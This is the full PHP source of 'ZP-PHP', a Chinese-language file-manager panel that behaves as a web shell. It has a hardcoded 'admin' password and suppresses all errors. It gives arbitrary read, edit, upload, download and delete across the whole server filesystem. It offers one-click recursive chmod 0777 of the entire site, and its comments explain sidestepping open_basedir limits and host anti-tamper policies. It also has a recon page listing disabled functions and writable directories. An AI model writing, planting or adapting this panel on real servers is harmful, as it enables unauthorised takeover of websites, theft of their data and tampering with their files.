<?php
/*
 * ZP-PHP 文件管理面板 (zz_v13 · 权限可视化 + 全路径可点版)
 * 口令: admin    登录: POST p=admin
 * 相对路径以「面板所在目录」为基准; 路径参数支持 p64(base64) 与 path
 * v13 新增:
 *   1) 面包屑逐级可点(含 Windows 盘符, E:\ 本身也是链接) —— 点到哪个目录就进哪个目录
 *   2) 快捷跳转条: 面板目录 / 站点根 / 盘符根 / 服务器根
 *   3) 目录与文件的「权限」列: 可写=绿色, 只读=红色; 文件名同步按权限着色
 * 兼容 PHP 5.4 (无 ?? / <=> / fn() / 标量类型声明)
 */
error_reporting(0);
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');

$K   = '21232f297a57a5a743894a0e4a801fc3'; /* md5("admin") */
$TAG = 'zpanel';
$TOK = md5($K . '|zp-tok');
$self    = $_SERVER['SCRIPT_NAME'];
$root    = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/'); /* dirname(__FILE__): PHP 5.1 兼容, __DIR__ 需 5.3+ */
$docroot = rtrim(str_replace('\\', '/', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''), '/');
$BOOK = array();
if ($docroot !== '') $BOOK[] = array('站点根', $docroot);
$BOOK[] = array('盘符根', preg_match('#^([a-zA-Z]):#', $root, $zpm) ? strtoupper($zpm[1]) . ':/' : '/');
$BOOK[] = array('服务器根', '/');

function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function u($s){ return rawurlencode($s); }
function pe($s){ return u(base64_encode($s)); } /* 路径参数 base64 传输 */

/* ===== 权限显示: 可写=绿 / 只读=红 ===== */
function mode_of($p){ $m = @fileperms($p); return $m === false ? '----' : substr(sprintf('%o', $m), -4); }
function owner_of($p){ return (string)@fileowner($p) . ':' . (string)@filegroup($p); }
function can_w($p){
    $t = @file_exists($p) ? $p : dirname($p);
    clearstatcache(true, $t);
    if (is_file($t)) {
        /* 非破坏性探测: 以读写方式打开但不写入任何内容 */
        $fh = @fopen($t, 'r+');
        if ($fh !== false) { @fclose($fh); return true; }
        return (bool)@is_writable($t);
    }
    if (@is_writable($t)) return true;
    if (@is_writable($t . '/.')) return true;
    if (@is_writable($t . '/..')) return true;
    return false;
}
function name_color($p){ return can_w($p) ? '#16a34a' : '#dc2626'; }
function perm_cell($p){
    $w  = can_w($p);
    $c  = $w ? '#15803d' : '#dc2626';
    $bg = $w ? '#dcfce7' : '#fee2e2';
    $t  = $w ? '可写' : '只读';
    return '<span title="mode ' . h(mode_of($p)) . ' / owner ' . h(owner_of($p)) . ' / ' . $t . '" style="display:inline-block;padding:0 6px;border-radius:3px;background:' . $bg . ';color:' . $c . ';border:1px solid ' . $c . ';font-size:11px;white-space:nowrap">' . $t . '</span>';
}
function perm_dot($p){
    $w = can_w($p);
    return '<span style="color:' . ($w ? '#16a34a' : '#dc2626') . ';font-size:14px">&#9632;</span>';
}

function authed(){ global $TOK, $TAG; return isset($_COOKIE[$TAG]) && $_COOKIE[$TAG] === $TOK; }
function norm($p){
    $p = str_replace('\\', '/', (string)$p);
    if ($p === '') return '/';
    if (preg_match('#^[a-zA-Z]:$#', $p)) return $p . '/';
    return $p;
}
/* 上级目录: 盘符根(E:/)的上级仍是 E:/, 避免 dirname('E:/') 得到 'E:' 后失去盘符语义 */
function parent_of($dir){
    $d = rtrim(str_replace('\\', '/', (string)$dir), '/');
    if ($d === '') return '/';
    if (preg_match('#^[a-zA-Z]:$#', $d)) return $d . '/';
    return norm(dirname($d));
}
function resolve($p){
    global $root;
    $p = str_replace('\\', '/', (string)$p);
    if ($p === '' || $p === '.') return $root;
    if (preg_match('#^[a-zA-Z]:#', $p) || $p[0] === '/') {
        $r = rtrim($p, '/');
        if ($r === '') return '/';
        if (preg_match('#^[a-zA-Z]:$#', $r)) return $r . '/';
        return $r;
    }
    return $root . '/' . ltrim($p, '/');
}
function rel($p){
    global $root;
    $p = str_replace('\\', '/', (string)$p);
    if (strcasecmp($p, $root) === 0) return '.';
    if (stripos($p, $root . '/') === 0) return ltrim(substr($p, strlen($root)), '/');
    return $p;
}
function is_u8($s){
    if ($s === '') return true;
    if (function_exists('mb_check_encoding')) return @mb_check_encoding($s, 'UTF-8');
    return preg_match('//u', $s) === 1;
}
function to_u8($bin){
    if (is_u8($bin)) return $bin;
    if (function_exists('iconv')) { $t = @iconv('GBK', 'UTF-8//IGNORE', $bin); if ($t !== false && $t !== '') return $t; }
    if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($bin, 'UTF-8', 'GBK');
    return $bin;
}
function from_u8($txt, $enc){
    if ($enc !== 'gbk') return $txt;
    if (function_exists('iconv')) { $t = @iconv('UTF-8', 'GBK//IGNORE', $txt); if ($t !== false) return $t; }
    if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($txt, 'GBK', 'UTF-8');
    return $txt;
}
function rrmdir($d){
    if (!is_dir($d)) return;
    foreach (scandir($d) as $f) {
        if ($f === '.' || $f === '..') continue;
        $p = $d . '/' . $f;
        if (is_dir($p)) rrmdir($p); else @unlink($p);
    }
    @rmdir($d);
}
/* 面包屑: 每一级都是可点链接(含 Windows 盘符段) —— "点到哪去到哪" */
function crumbs($path){
    $p = rtrim(str_replace('\\', '/', (string)$path), '/');
    if ($p === '') $p = '/';
    $segs = array_values(array_filter(explode('/', $p), 'strlen'));
    /* Windows: E:/a/b →  E:\ 为锚点链接, 其后逐级可点 */
    if (isset($segs[0]) && preg_match('#^[a-zA-Z]:$#', $segs[0])) {
        $drv = strtoupper($segs[0]);
        array_shift($segs);
        $out = '<a class="l" href="?a=list&p64=' . pe($drv . '/') . '">' . h($drv) . '\\</a>';
        $cur = $drv;
        $n   = count($segs);
        foreach ($segs as $i => $s) {
            $cur .= '/' . $s;
            $out .= '<span style="color:#94a3b8">\\</span>';
            if ($i === $n - 1) $out .= '<b>' . h($s) . '</b>';
            else $out .= '<a class="l" href="?a=list&p64=' . pe($cur) . '">' . h($s) . '</a>';
        }
        return $out;
    }
    /* 类 Unix */
    $out = '<a class="l" href="?a=list&p64=' . pe('/') . '">/</a>';
    $n = count($segs); $cur = '';
    foreach ($segs as $i => $s) {
        $cur .= '/' . $s;
        if ($i === $n - 1) $out .= '<b>' . h($s) . '</b>';
        else $out .= '<a class="l" href="?a=list&p64=' . pe($cur) . '">' . h($s) . '</a><span style="color:#94a3b8">/</span>';
    }
    return $out;
}
/* 快捷跳转条 */
function quickbar($dir){
    global $BOOK, $root;
    $items = array(array('面板目录', rtrim($root, '/') === '' ? '/' : $root));
    foreach ($BOOK as $b) $items[] = $b;
    $seen = array(); $out = '<div style="margin-top:8px">';
    foreach ($items as $it) {
        $p = rtrim($it[1], '/'); if ($p === '') $p = '/';
        if (preg_match('#^[a-zA-Z]:$#', $p)) $p .= '/';
        if (isset($seen[$p])) continue;
        $seen[$p] = 1;
        $cur = (rtrim(str_replace('\\', '/', $dir), '/') === $p);
        $out .= '<a class="l"' . ($cur ? ' style="font-weight:700;color:#0f172a"' : '') . ' href="?a=list&p64=' . pe(rel($p)) . '">[' . h($it[0]) . ']</a> ';
    }
    return $out . '</div>';
}
function redir($path, $a){
    global $self;
    header('Location: ' . $self . '?a=' . $a . '&p64=' . pe($path));
    exit;
}
function head($title){
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>' . h($title) . ' - ZP</title><style>
    body{font:13px/1.6 Consolas,Menlo,monospace;background:#f6f7f9;color:#1f2937;margin:0}
    #top{background:#111827;color:#e5e7eb;padding:9px 14px}#top b{color:#60a5fa}#top a{color:#c7d2fe;text-decoration:none;margin:0 10px}
    .w{padding:14px}.card{background:#fff;border:1px solid #e2e8f0;border-radius:6px;padding:12px;margin-bottom:12px}
    table{border-collapse:collapse;width:100%;background:#fff}th,td{border:1px solid #e5e7eb;padding:4px 8px;text-align:left;font-size:12px}
    th{background:#f1f5f9}a.l{color:#2563eb;text-decoration:none;margin-right:6px}
    textarea{width:100%;height:60vh;font:13px Consolas,monospace}</style></head><body><div id="top"><b>ZP-PHP v14</b> '
    . h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '') . ' <a href="' . $GLOBALS['self'] . '?a=list">Site</a><a href="' . $GLOBALS['self'] . '?a=info">Info</a><a href="' . $GLOBALS['self'] . '?out=1">Exit</a></div><div class="w">';
}
function foot(){ echo '</div></body></html>'; }

if (isset($_GET['out'])) { setcookie($TAG, '', time() - 3600); header('Location: ' . $self); exit; }

if (!authed()) {
    if (isset($_POST['p']) && md5((string)$_POST['p']) === $K) {
        setcookie($TAG, $TOK, 0, '/', '');
        header('Location: ' . $self . '?a=list'); exit;
    }
    head('Login');
    echo '<div class="card" style="max-width:340px;margin:60px auto"><form method="post">password <input type="password" name="p" style="width:60%"> <button>Go</button></form>';
    if (isset($_POST['p'])) echo '<p style="color:#dc2626">wrong password</p>';
    echo '</div>'; foot(); exit;
}

$a    = isset($_GET['a']) ? $_GET['a'] : 'list';
$path = '';
if (isset($_GET['p64'])) {
    $b = str_replace(' ', '+', (string)$_GET['p64']);
    $d = base64_decode($b); /* strict 参数需 PHP 5.2+, 5.1.6 下恒 false 导致所有路径失效 */
    if ($d !== false && $d !== '') $path = $d;
    elseif (isset($_GET['path'])) $path = (string)$_GET['path'];
} elseif (isset($_GET['path'])) {
    $path = (string)$_GET['path'];
}
if ($a === 'list' && $path === '') $path = '.';

switch ($a) {
case 'list':
    $dir = resolve($path);
    head('Files');
    echo '<div class="card"><form method="get" onsubmit="var q=this.elements.q;this.elements.p64.value=btoa(unescape(encodeURIComponent(q.value)));q.disabled=true;return true;"><input type="hidden" name="a" value="list"><input type="hidden" name="p64" value=""><span style="color:#64748b">路径</span> <input name="q" style="width:58%" value="' . h(rel($dir)) . '"> <button>Go</button> <span class="m">(留空=面板目录; 可输任意绝对路径 如 E:/wwwroot)</span></form>' . quickbar($dir) . '</div>';
    if (!is_dir($dir)) { echo '<div class="card">not a directory: ' . h($dir) . '</div>'; foot(); exit; }
    echo '<div class="card"><div style="margin-bottom:7px;color:#64748b">' . crumbs($dir) . '</div>';
    echo '<div style="margin-bottom:7px">当前目录权限: ' . perm_cell($dir) . ' <span style="color:#94a3b8">mode ' . h(mode_of($dir)) . ' / owner ' . h((string)@fileowner($dir)) . ':' . h((string)@filegroup($dir)) . '</span>';
    echo ' <span style="margin-left:14px;color:#64748b">图例: ' . perm_dot($dir) . ' 绿=可写 <span style="color:#dc2626;font-size:14px">&#9632;</span> 红=只读</span></div>';
    echo '<a class="l" href="?a=list&p64=' . pe(rel(parent_of($dir))) . '">[上级 ..]</a>'
       . '<a class="l" href="?a=list&p64=' . pe(rel($dir)) . '">[刷新]</a>';
    echo '<form method="post" action="?a=up&p64=' . pe(rel($dir)) . '" enctype="multipart/form-data" style="margin:8px 0 0"><input type="file" name="f"> <button>Upload</button></form>';
    echo '<form method="get" style="margin:6px 0"><input type="hidden" name="a" value="mkdir"><input type="hidden" name="p64" value="' . pe(rel($dir)) . '">newdir <input name="name" style="width:28%"> <button>mkdir</button></form>';
    $_ms = '<select name="m"><option value="0777">0777 全可写</option><option value="smart">智能 目录0777/文件0666</option><option value="0755">0755</option><option value="0644">0644</option><option value="0444">0444 只读</option></select>';
    echo '<form method="get" style="margin:6px 0" onsubmit="return confirm(\'确定递归修改【' . h(rel($dir)) . '】及其下全部子目录和文件的权限?\');"><input type="hidden" name="a" value="chmodall"><input type="hidden" name="p64" value="' . pe(rel($dir)) . '">' . $_ms . ' <button>一键改权限(本目录递归)</button></form>';
    echo '<form method="get" style="margin:6px 0" onsubmit="return confirm(\'确定修改整站(站点根下全部目录和文件)的权限?\');"><input type="hidden" name="a" value="chmodall"><input type="hidden" name="scope" value="site"><input type="hidden" name="p64" value="">' . $_ms . ' <button style="background:#dc2626;color:#fff;border:0;padding:3px 8px;border-radius:3px;cursor:pointer">一键改权限(整站)</button></form>';
    echo '<div style="margin:8px 0"><a class="l" style="background:#0f172a;color:#fff;padding:3px 8px;border-radius:3px;text-decoration:none" href="?a=tree">浏览整站(目录/文件树)</a> <span class="m">点目录名=进入该目录，点文件名=编辑该文件，点三角=展开子级</span></div></div>';
    echo '<table><tr><th>Name</th><th>Size</th><th>Modified</th><th>权限</th><th>Ops</th></tr>';
    $ds = array(); $fs = array();
    foreach (scandir($dir) as $f) {
        if ($f === '.' || $f === '..') continue;
        if (is_dir($dir . '/' . $f)) $ds[] = $f; else $fs[] = $f;
    }
    sort($ds); sort($fs);
    foreach ($ds as $d) {
        $rp = $dir . '/' . $d;
        echo '<tr><td><a class="l" style="color:' . name_color($rp) . ';font-weight:700" title="mode ' . h(mode_of($rp)) . ' / owner ' . h(owner_of($rp)) . '" href="?a=list&p64=' . pe(rel($rp)) . '">' . h($d) . '/</a></td><td>-</td><td>' . date('Y-m-d H:i', @filemtime($rp)) . '</td><td>' . perm_cell($rp) . '</td><td>'
           . '<a class="l" href="?a=list&p64=' . pe(rel($rp)) . '">enter</a>'
           . '<a class="l" href="?a=del&p64=' . pe(rel($rp)) . '" onclick="return confirm(\'Delete?\')">del</a></td></tr>';
    }
    foreach ($fs as $f) {
        $rp = $dir . '/' . $f;
        echo '<tr><td><a class="l" style="color:' . name_color($rp) . ';font-weight:700" title="mode ' . h(mode_of($rp)) . ' / owner ' . h(owner_of($rp)) . '" href="?a=read&p64=' . pe(rel($rp)) . '">' . h($f) . '</a></td><td>' . @filesize($rp) . '</td><td>' . date('Y-m-d H:i', @filemtime($rp)) . '</td><td>' . perm_cell($rp) . '</td><td>'
           . '<a class="l" href="?a=dl&p64=' . pe(rel($rp)) . '">dl</a>'
           . '<a class="l" href="?a=ren&p64=' . pe(rel($rp)) . '&to=" onclick=\'var n=prompt("new name","' . h($f) . '");if(!n)return false;this.href+=encodeURIComponent(n);return true;\'>ren</a>'
           . '<a class="l" href="?a=cp&p64=' . pe(rel($rp)) . '&to=" onclick=\'var n=prompt("copy to","' . h($f) . '_copy");if(!n)return false;this.href+=encodeURIComponent(n);return true;\'>copy</a>'
           . '<a class="l" href="?a=del&p64=' . pe(rel($rp)) . '" onclick="return confirm(\'Delete?\')">del</a></td></tr>';
    }
    echo '</table>'; foot(); exit;

case 'read':
    $fp  = resolve($path);
    $bin = @file_get_contents($fp);
    $u8  = is_u8($bin);
    $txt = $u8 ? $bin : to_u8($bin);
    head('Edit');
    echo '<div class="card"><div style="color:#64748b;margin-bottom:6px">' . crumbs(dirname($fp)) . '<span style="color:#94a3b8">/</span><b>' . h(basename($fp)) . '</b></div>';
    echo '<b>' . h(rel($fp)) . '</b> (' . strlen($bin) . ' bytes, ' . ($u8 ? 'utf-8' : 'gbk') . ') ' . perm_cell($fp) . ' <span style="color:#94a3b8">mode ' . h(mode_of($fp)) . '</span>';
    if (!can_w($fp)) echo '<div style="color:#dc2626;margin:4px 0">&#9888; 该文件为只读，保存 / 删除 / 改名都会失败</div>';
    if (isset($_GET['err'])) echo '<div style="color:#dc2626;margin:4px 0">&#10007; 保存失败：文件不可写，或被主机防篡改策略拒绝</div>';
    elseif (isset($_GET['ok'])) echo '<div style="color:#16a34a;margin:4px 0">&#10003; 已保存</div>';
    echo '<form method="post" action="?a=save&p64=' . pe(rel($fp)) . '&enc=' . ($u8 ? 'utf8' : 'gbk') . '">';
    echo '<textarea name="txt" spellcheck="false">' . h($txt) . '</textarea><button>Save</button> ';
    echo '<a class="l" href="?a=dl&p64=' . pe(rel($fp)) . '">download</a> <a class="l" href="?a=list&p64=' . pe(rel(dirname($fp))) . '">back</a></form></div>';
    foot(); exit;

case 'save':
    $t = isset($_POST['txt']) ? $_POST['txt'] : null;
    if ($t === null) redir('.', 'list');
    $enc = isset($_GET['enc']) ? $_GET['enc'] : 'utf8';
    $ok  = @file_put_contents(resolve($path), from_u8($t, $enc));
    header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit;

case 'dl':
    $fp = resolve($path);
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
    header('Content-Length: ' . @filesize($fp));
    @readfile($fp); exit;

case 'del':
    $fp = resolve($path);
    if (is_file($fp)) @unlink($fp); elseif (is_dir($fp)) rrmdir($fp);
    redir(rel(parent_of($fp)), 'list');

case 'ren':
    $fp = resolve($path);
    $to = isset($_GET['to']) ? (string)$_GET['to'] : '';
    if ($to !== '') @rename($fp, dirname($fp) . '/' . basename($to));
    redir(rel(dirname($fp)), 'list');

case 'cp':
    $fp = resolve($path);
    $to = isset($_GET['to']) ? (string)$_GET['to'] : '';
    if ($to === '') {
        head('Copy');
        echo '<div class="card"><form method="get"><input type="hidden" name="a" value="cp"><input type="hidden" name="p64" value="' . pe(rel($fp)) . '">copy to <input name="to" style="width:40%"> <button>Go</button></form></div>';
        foot(); exit;
    }
    $dst = dirname($fp) . '/' . basename($to);
    if (is_dir($fp)) {
        function rcopy($s, $d){
            if (!is_dir($d)) @mkdir($d, 0777, true);
            foreach (scandir($s) as $f) {
                if ($f === '.' || $f === '..') continue;
                $sp = $s . '/' . $f; $dp = $d . '/' . $f;
                if (is_dir($sp)) rcopy($sp, $dp); else @copy($sp, $dp);
            }
        }
        rcopy($fp, $dst);
    } else @copy($fp, $dst);
    redir(rel(dirname($fp)), 'list');

case 'tree':
    $base = $docroot;
    if ($base === '' || $base === '/') $base = $root;
    $maxd = isset($_GET['d']) ? (int)$_GET['d'] : 2; /* 0 = 不限层级，默认 2 层避免页面过大 */
    @set_time_limit(0);
    $GLOBALS['TR'] = array('d' => 0, 'f' => 0, 'n' => 0, 'limit' => 40000);
    /* 站点根本身在 open_basedir 下 scandir 会被拒 -> 回退用相对路径 glob 枚举 */
    function scan_of($p){
        global $root, $docroot;
        $it = @scandir($p);
        if ($it) return $it;
        $pp = str_replace('\\', '/', $p);
        $dd = str_replace('\\', '/', $docroot);
        $rr = str_replace('\\', '/', $root);
        $out = array();
        if ($dd !== '' && $pp === $dd && strpos($rr, $dd) === 0) {
            $rest = trim(substr($rr, strlen($dd)), '/');
            $rel  = ($rest === '') ? './' : str_repeat('../', count(explode('/', $rest)));
            foreach ((array)@glob($rel . '*')  as $g) { $b = basename($g); if ($b !== '.' && $b !== '..') $out[] = $b; }
            foreach ((array)@glob($rel . '.*') as $g) { $b = basename($g); if ($b !== '.' && $b !== '..') $out[] = $b; }
        }
        return $out;
    }
    function rtree($p, $depth, $maxd){
        $T =& $GLOBALS['TR'];
        if ($T['n']++ > $T['limit']) return;
        $ds = array(); $fs = array();
        foreach (scan_of($p) as $f) {
            if ($f === '.' || $f === '..') continue;
            $rp = $p . '/' . $f;
            if (is_dir($rp)) $ds[] = $f; else $fs[] = $f;
        }
        sort($ds); sort($fs);
        echo '<ul style="list-style:none;margin:2px 0 2px 14px;padding:0;border-left:1px dotted #cbd5e1">';
        foreach ($ds as $d) {
            $rp = $p . '/' . $d; $T['d']++;
            echo '<li><details' . ($depth < 1 ? ' open' : '') . '><summary style="cursor:pointer"><span style="color:#0f172a">&#128193;</span> '
               . '<a class="l" style="font-weight:700;color:' . name_color($rp) . '" href="?a=list&p64=' . pe($rp) . '">' . h($d) . '/</a> '
               . '<span class="m">' . h(mode_of($rp)) . '</span></summary>';
            if ($maxd == 0 || $depth + 1 <= $maxd) rtree($rp, $depth + 1, $maxd);
            echo '</details></li>';
        }
        foreach ($fs as $f) {
            $rp = $p . '/' . $f; $T['f']++;
            echo '<li><span style="color:#64748b">&#128196;</span> '
               . '<a class="l" style="color:' . name_color($rp) . '" href="?a=read&p64=' . pe($rp) . '">' . h($f) . '</a> '
               . '<span class="m">' . (int)@filesize($rp) . ' B &nbsp;' . date('Y-m-d H:i', @filemtime($rp)) . '</span></li>';
        }
        echo '</ul>';
    }
    head('Site Tree');
    echo '<div class="card"><div style="margin-bottom:8px">站点根 <b>' . h($base) . '</b></div>';
    echo '<div style="margin-bottom:8px"><a class="l" href="?a=list">返回面板目录</a>'
       . ' <a class="l" href="?a=tree&d=1">1层</a> <a class="l" href="?a=tree&d=2">2层</a> <a class="l" href="?a=tree&d=3">3层</a>'
       . ' <a class="l" href="?a=tree&d=0">全部展开(可能很大)</a> <span class="m">当前 ' . ($maxd == 0 ? '不限' : $maxd . ' 层') . '</span></div>';
    rtree($base, 0, $maxd);
    echo '<div style="margin-top:10px;color:#64748b">共 目录 ' . (int)$GLOBALS['TR']['d'] . ' 个 / 文件 ' . (int)$GLOBALS['TR']['f'] . ' 个</div></div>';
    foot(); exit;

case 'chmodall':
    $mode  = isset($_GET['m']) ? (string)$_GET['m'] : '0777';
    $scope = isset($_GET['scope']) ? (string)$_GET['scope'] : 'dir';
    if ($scope === 'site') {
        $base = $docroot;
        if ($base === '' || $base === '/') $base = $root;
    } else {
        $base = resolve($path);
    }
    @set_time_limit(0);
    /* 递归结果容器：用全局数组，避免闭包的 PHP 版本依赖 */
    $GLOBALS['CHM'] = array('ok' => 0, 'fail' => 0, 'n' => 0, 'log' => array(), 'm' => $mode, 'limit' => 60000);
    function rchmod($p){
        $C =& $GLOBALS['CHM'];
        if ($C['n']++ > $C['limit']) return;
        $mo = ($C['m'] === 'smart') ? (is_dir($p) ? 0777 : 0666) : octdec($C['m']);
        if (@chmod($p, $mo)) $C['ok']++;
        else { $C['fail']++; if (count($C['log']) < 40) $C['log'][] = $p; }
        if (is_dir($p)) {
            $it = @scandir($p);
            if ($it) foreach ($it as $f) { if ($f === '.' || $f === '..') continue; rchmod($p . '/' . $f); }
        }
    }
    if ($scope === 'site') {
        /* open_basedir 下"站点根本身"这一层不可 chmod / 不可 glob 绝对路径，
           改为从面板目录推出相对路径（如 ../../../）再枚举 —— 相对路径在 basedir 内合法 */
        $rm = ($mode === 'smart') ? 0777 : octdec($mode);
        if (@chmod($base, $rm)) $GLOBALS['CHM']['ok']++; else $GLOBALS['CHM']['fail']++;
        $rr = str_replace('\\', '/', $root); $dd = str_replace('\\', '/', $docroot);
        $relbase = '';
        if ($dd !== '' && strpos($rr, $dd) === 0) {
            $rest = trim(substr($rr, strlen($dd)), '/');
            $relbase = ($rest === '') ? './' : str_repeat('../', count(explode('/', $rest)));
        }
        $items = array();
        if ($relbase !== '') {
            foreach ((array)@glob($relbase . '*') as $it) $items[] = $it;
            foreach ((array)@glob($relbase . '.*') as $it) $items[] = $it;
        }
        if (!$items) {
            foreach ((array)@glob($base . '/*') as $it) $items[] = $it;
            foreach ((array)@glob($base . '/.*') as $it) $items[] = $it;
        }
        foreach ($items as $it) { $b = basename($it); if ($b === '.' || $b === '..') continue; rchmod($it); }
    } else {
        rchmod($base);
    }
    $C = $GLOBALS['CHM'];
    head('Chmod');
    echo '<div class="card"><div style="margin-bottom:8px">目标 <b>' . h($base) . '</b> &nbsp;模式 <b>' . h($mode) . '</b> &nbsp;范围 <b>' . ($scope === 'site' ? '整站' : '本目录递归') . '</b></div>';
    echo '<div style="font-size:15px;margin-bottom:6px">处理 ' . (int)$C['n'] . ' 项 &nbsp; <span style="color:#16a34a">&#10003; 成功 ' . (int)$C['ok'] . '</span> &nbsp; <span style="color:#dc2626">&#10007; 失败 ' . (int)$C['fail'] . '</span></div>';
    if ($C['fail'] > 0) {
        echo '<div style="color:#64748b;margin-bottom:4px">常见原因：open_basedir 限制 / 父目录只读 / 被主机防篡改策略拦截（失败样例最多列 40 条）</div><table><tr><th>失败路径</th></tr>';
        foreach ($C['log'] as $l) echo '<tr><td style="font-size:12px">' . h($l) . '</td></tr>';
        echo '</table>';
    }
    echo '<div style="margin-top:8px"><a class="l" href="?a=list&p64=' . pe(rel($base)) . '">back</a> <a class="l" href="?a=list">Site</a></div></div>';
    foot(); exit;

case 'mkdir':
    $name = isset($_GET['name']) ? (string)$_GET['name'] : '';
    if ($name !== '') @mkdir(resolve($path) . '/' . $name, 0777, true);
    redir(rel(resolve($path)), 'list');

case 'up':
    $upok = false; $upn = ''; $dst = '';
    if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
        $upn = basename($_FILES['f']['name']);
        $dst = resolve($path) . '/' . $upn;
        $upok = @move_uploaded_file($_FILES['f']['tmp_name'], $dst);
    }
    head('Upload');
    echo '<div class="card">';
    if ($upok) {
        /* 完整物理路径 */
        $full = str_replace('\\', '/', $dst);
        /* 对应的网址: 仅当文件位于站点根之内 */
        $url = '';
        $dr  = rtrim(str_replace('\\', '/', $docroot), '/');
        if ($dr !== '' && stripos($full, $dr . '/') === 0) {
            $rp  = substr($full, strlen($dr));
            $sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
            $url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp;
        }
        echo '<span style="color:#16a34a">&#10003; uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)</span><br>';
        echo '<div style="margin:6px 0 2px;color:#64748b">完整路径</div>';
        echo '<div style="font-family:Consolas,monospace;background:#f8fafc;border:1px solid #e2e8f0;border-radius:4px;padding:6px 8px;word-break:break-all">' . h($full) . '</div>';
        if ($url !== '') {
            echo '<div style="margin-top:8px"><a class="l" style="color:#2563eb;font-weight:700" href="' . h($url) . '" target="_blank">&#128279; 打开: ' . h($url) . '</a></div>';
        } else {
            echo '<div style="margin-top:6px;color:#b45309">&#9888; 文件在站点根目录之外，无对应 URL</div>';
        }
    } else {
        echo '<span style="color:#dc2626">&#10007; upload failed</span> &mdash; 目标目录 ' . perm_cell(resolve($path));
    }
    echo ' <a class="l" href="?a=list&p64=' . pe(rel(resolve($path))) . '">back</a></div>';
    foot(); exit;

case 'info':
    head('Info');
    echo '<div class="card"><pre>PHP ' . PHP_VERSION . "\n" . php_uname() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)ini_get('open_basedir')) . "\ndisable_functions=" . h((string)ini_get('disable_functions')) . "\nuser=" . h(get_current_user()) . '</pre></div>';
    echo '<div class="card"><div style="margin-bottom:6px;color:#64748b">目录可写性扫描 (绿=可写 / 红=只读)</div>';
    echo '<table><tr><th>目录</th><th>mode</th><th>owner:group</th><th>权限</th></tr>';
    $scan = array();
    if ($docroot !== '') $scan[] = $docroot;
    $scan[] = $root;
    if (is_dir($root)) {
        foreach (scandir($root) as $f) {
            if ($f === '.' || $f === '..') continue;
            if (is_dir($root . '/' . $f)) $scan[] = $root . '/' . $f;
        }
    }
    $seen = array();
    foreach ($scan as $p) {
        if (isset($seen[$p]) || !is_dir($p)) continue;
        $seen[$p] = 1;
        echo '<tr><td><a class="l" style="color:' . name_color($p) . ';font-weight:700" href="?a=list&p64=' . pe(rel($p)) . '">' . h(rel($p)) . '/</a></td><td>' . h(mode_of($p)) . '</td><td>' . h((string)@fileowner($p)) . ':' . h((string)@filegroup($p)) . '</td><td>' . perm_cell($p) . '</td></tr>';
    }
    echo '</table></div>';
    foot(); exit;

default:
    redir('.', 'list');
}
